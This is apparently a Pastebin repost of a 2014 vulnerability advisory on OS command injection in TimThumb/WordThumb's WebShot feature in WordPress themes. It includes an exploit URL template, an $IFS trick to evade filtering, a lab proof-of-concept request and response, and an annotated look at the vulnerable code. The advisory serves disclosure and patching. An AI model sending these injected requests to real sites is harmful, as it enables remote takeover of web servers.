Advertisement
Kyfx

[+] Wordpress 0day TimThumb 2.8.13 Remote Code Execution [+]

May 14th, 2015
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.13 KB | None | 0 0
  1. ######################################################################
  2. # _ ___ _ _ ____ ____ _ _____
  3. # | | / _ \| \ | |/ ___|/ ___| / \|_ _|
  4. # | | | | | | \| | | _| | / _ \ | |
  5. # | |__| |_| | |\ | |_| | |___ / ___ \| |
  6. # |_____\___/|_| \_|\____|\____/_/ \_\_|
  7. #
  8. # Wordpress TimThumb 2.8.13 WebShot Remote Code Execution (0-day)
  9. # Affected website : a lot Wordpress Themes, Plugins, 3rd party components
  10. # Release dates : June 24, 2014
  11. #
  12. # Special Thanks to 2600 Thailand group
  13. # : Xelenonz, anidear, windows98se, icheernoom, w4x0r, pistachio
  14. # https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
  15. #
  16. ########################################################################
  17.  
  18. [+] Description
  19. ============================================================
  20. TimThumb is a small php script for cropping, zooming and resizing web
  21. images (jpg, png, gif). Perfect for use on blogs and other applications.
  22. Developed for use in the WordPress theme Mimbo Pro, and since used in many
  23. other WordPress themes.
  24.  
  25. http://www.binarymoon.co.uk/projects/timthumb/
  26. https://code.google.com/p/timthumb/
  27.  
  28. The original project WordThumb 1.07 also vulnerable (
  29. https://code.google.com/p/wordthumb/)
  30. They both shared exactly the same WebShot code! And there are several
  31. projects that shipped with "timthumb.php", such as,
  32. Wordpress Gallery Plugin
  33. https://wordpress.org/plugins/wordpress-gallery-plugin/
  34. IGIT Posts Slider Widget
  35. http://wordpress.org/plugins/igit-posts-slider-widget/
  36.  
  37. All themes from http://themify.me/ contains vulnerable "wordthumb" in
  38. "<theme-name>/themify/img.php".
  39.  
  40. [+] Exploit
  41. ============================================================
  42. http://
  43. <wp-website>/wp-content/themes/<wp-theme>/path/to/timthumb.php?webshot=1&src=http://
  44. <wp-website>$(<os-cmds>)
  45.  
  46. ** Note that OS commands payload MUST be within following character sets:
  47. [A-Za-z0-9\-\.\_\~:\/\?\#\[\]\ () \!\$\&\'\(\)\*\+\,\;\=]
  48.  
  49. ** Spaces, Pipe, GT sign are not allowed.
  50. ** This WebShot feature is DISABLED by default.
  51. ** CutyCapt and XVFB must be installed in constants.
  52.  
  53. [+] Proof-of-Concept
  54. ============================================================
  55. There are couple techniques that can be used to bypass limited charsets but
  56. I will use a shell variable $IFS insteads of space in this scenario.
  57.  
  58. PoC Environment:
  59. Ubuntu 14.04 LTS
  60. PHP 5.5.9
  61. Wordpress 3.9.1
  62. Themify Parallax Theme 1.5.2
  63. WordThumb 1.07
  64.  
  65. Crafted Exploit:
  66. http://loncatlab.local/wp-content/themes/parallax/themify/img.php?webshot=1&src=http://loncatlab.local/$(touch$IFS/tmp/longcat)
  67.  
  68. GET /wp-content/themes/parallax/themify/img.php?webshot=1&src=
  69. http://longcatlab.local/$(touch$IFS/tmp/longcat) HTTP/1.1
  70. Host: longcatlab.local
  71. Proxy-Connection: keep-alive
  72. Cache-Control: max-age=0
  73. Accept:
  74. text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  75. User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
  76. Gecko) Chrome/35.0.1916.153 Safari/537.36
  77. Accept-Encoding: gzip,deflate,sdch
  78. Accept-Language: en-US,en;q=0.8
  79. Cookie: woocommerce_recently_viewed=9%7C12%7C16;
  80. wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce;
  81. wp-settings-time-1=1403504538; themify-builder-tabs=query-portfoliot;
  82. wordpress_test_cookie=WP+Cookie+check;
  83. wordpress_logged_in_26775808be2a17b15cf43dfee3a681c9=moderator%7C1403747599%7C62244ce3918e23df1bd22450b3d78685
  84.  
  85. HTTP/1.1 400 Bad Request
  86. Date: Tue, 24 Jun 2014 07:20:48 GMT
  87. Server: Apache
  88. X-Powered-By: PHP/5.5.9-1ubuntu4
  89. X-Content-Type-Options: nosniff
  90. X-Frame-Options: sameorigin
  91. Content-Length: 3059
  92. Connection: close
  93. Content-Type: text/html
  94.  
  95. <a href='http://www.php.net/function.getimagesize&apos;
  96. target='_new'>getimagesize</a>
  97. ( )</td><td
  98. title='/var/www/longcatlab.local/public_html/wp-content/themes/parallax/themify/img.php'
  99. bgcolor='#eeeeec'>../img.php<b>:</b>388</td></tr>
  100. </table></font>
  101. <h1>A WordThumb error has occured</h1>The following error(s) occured:<br
  102. /><ul><li>The image being resized is not a valid gif, jpg or
  103. png.</li></ul><br /><br />Query String : webshot=1&amp;src=
  104. http://longcatlab.local/$(touch$IFS/tmp/longcat)<br />WordThumb version :
  105. 1.07</pre>
  106.  
  107. Even it response with error messages but injected OS command has already
  108. been executed.
  109.  
  110. $ ls /tmp/longcat -lha
  111. - -rw-r--r-- 1 www-data www-data 0 มิ.ย. 24 14:20 /tmp/longcat
  112.  
  113.  
  114. [+] Vulnerability Analysis
  115. ============================================================
  116. https://timthumb.googlecode.com/svn/trunk/timthumb.php
  117.  
  118. Filename: timthumb.php
  119.  
  120. if(! defined('WEBSHOT_ENABLED') ) define ('WEBSHOT_ENABLED', true);
  121. if(! defined('WEBSHOT_CUTYCAPT') ) define ('WEBSHOT_CUTYCAPT',
  122. '/usr/local/bin/CutyCapt');
  123. if(! defined('WEBSHOT_XVFB') ) define ('WEBSHOT_XVFB', '/usr/bin/xvfb-run');
  124. ...
  125. timthumb::start(); ← start script
  126. ...
  127. public static function start(){
  128. $tim = new timthumb(); ← create timthumb object, call __construct()
  129. ...
  130. $tim->run();
  131. ...
  132. public function __construct(){
  133. ...
  134. $this->src = $this->param('src'); ← set "src" variable to HTTP GET "src"
  135. parameter
  136. if(preg_match('/^https?:\/\/[^\/]+/i', $this->src)){
  137. ...
  138. $this->isURL = true; ← prefix http/s result in isURL = true
  139. }
  140. ...
  141.  
  142. protected function param($property, $default = ''){
  143. if (isset ($_GET[$property])) {
  144. return $_GET[$property];
  145. ...
  146.  
  147. public function run(){
  148. if($this->isURL){
  149. ...
  150. if($this->param('webshot')){ ← HTTP GET "webshot" must submitted
  151. if(WEBSHOT_ENABLED){ ← this pre-defined constant must be true
  152. ...
  153. $this->serveWebshot(); ← call webshot feature
  154. } else {
  155. ...
  156.  
  157. protected function serveWebshot(){
  158. ...
  159. if(! is_file(WEBSHOT_CUTYCAPT)){ ← check existing of cutycapt
  160. return $this->error("CutyCapt is not installed. $instr");
  161. }
  162. if(! is_file(WEBSHOT_XVFB)){ ← check existing of xvfb
  163. return $this->Error("Xvfb is not installed. $instr");
  164. }
  165. ...
  166. $url = $this->src;
  167. if(! preg_match('/^https?:\/\/[a-zA-Z0-9\.\-]+/i', $url)){ ← check valid
  168. URL #LoL
  169. return $this->error("Invalid URL supplied.");
  170. }
  171. $url =
  172. preg_replace('/[^A-Za-z0-9\-\.\_\~:\/\?\#\[\]\ () \!\$\&\'\(\)\*\+\,\;\=]+/',
  173. '', $url); ← check valid URL as specified in RFC 3986
  174. http://www.ietf.org/rfc/rfc3986.txt
  175. ...
  176. if(WEBSHOT_XVFB_RUNNING){
  177. putenv('DISPLAY=:100.0');
  178. $command = "$cuty $proxy --max-wait=$timeout --user-agent=\"$ua\"
  179. --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn
  180. --js-can-open-windows=off --url=\"$url\" --out-format=$format
  181. --out=$tempfile"; ← OS shell command injection
  182. } else {
  183. $command = "$xv --server-args=\"-screen 0,
  184. {$screenX}x{$screenY}x{$colDepth}\" $cuty $proxy --max-wait=$timeout
  185. --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn
  186. --js-can-open-windows=off --url=\"$url\" --out-format=$format
  187. --out=$tempfile"; ← OS shell command injection
  188. }
  189. ...
  190. $out = `$command`; ← execute $command as shell command
  191.  
  192. "PHP supports one execution operator: backticks (``). Note that these are
  193. not single-quotes! PHP will attempt to execute the contents of the
  194. backticks as a shell command." -
  195. http://www.php.net//manual/en/language.operators.execution.php
  196.  
  197. "$url" is failed to escape "$()" in "$command" which is result in arbitrary
  198. code execution.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement